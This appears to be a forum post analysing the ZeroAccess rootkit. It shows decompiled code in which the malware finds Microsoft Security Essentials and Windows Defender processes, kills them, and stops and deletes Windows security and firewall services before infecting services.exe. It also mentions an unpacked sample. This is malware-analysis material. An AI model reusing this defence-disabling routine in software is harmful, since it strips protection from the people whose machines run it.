Also ZeroAccess loves MSE and Windows Defender. See @004026D5
It is doing this before services.exe infection.
Code: Select allBOOLEAN CheckMSE(PUNICODE_STRING pav)
{
return (BOOLEAN)RtlEqualUnicodeString(&WindowsDefenderSvc, pav, 1)
|| (BOOLEAN)RtlEqualUnicodeString(&MSE_MsasCUI, pav, 1)
|| (BOOLEAN)RtlEqualUnicodeString(&MSE_MpCmdRun, pav, 1)
|| (BOOLEAN)RtlEqualUnicodeString(&MSE_NisSrv, pav, 1)
|| (BOOLEAN)RtlEqualUnicodeString(&MSSE, pav, 1);
}
Code: Select allStatus = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &obja, entry->ClientId);
if ( NT_SUCCESS(Status) )
{
ZwTerminateProcess(hProcess, 0);
result = ZwClose(hProcess);
}
Code: Select allhSCObject = OpenSCManagerW(0, 0, 0xF003Fu);
if ( hSCObject )
{
hSvc = OpenServiceW(hSCObject, L"MsMpSvc", 0xF01FFu);
if ( hSvc )
StopAndDeleteService(hSvc);
hSvc = OpenServiceW(hSCObject, L"windefend", 0xF01FFu);
if ( hSvc)
StopAndDeleteService(hSvc);
hSvc = OpenServiceW(hSCObject, L"SharedAccess", 0xF01FFu);
if ( hSvc)
StopAndDeleteService(v5);
hSvc = OpenServiceW(hSCObject, L"iphlpsvc", 0xF01FFu);
if ( hSvc)
StopAndDeleteService(hSvc);
hSvc = OpenServiceW(hSCObject, L"wscsvc", 0xF01FFu);
if ( hSvc)
StopAndDeleteService(hSvc);
hSvc = OpenServiceW(hSCObject, L"mpssvc", 0xF01FFu);
if ( hSvc)
StopAndDeleteService(hSvc);
hSvc = OpenServiceW(hSCObject, L"bfe", 0xF01FFu);
if ( hSvc)
StopAndDeleteService(hSvc);
CloseServiceHandle(hSCObject);
KillMSE(pentry);
}
uncrypted.exe
:D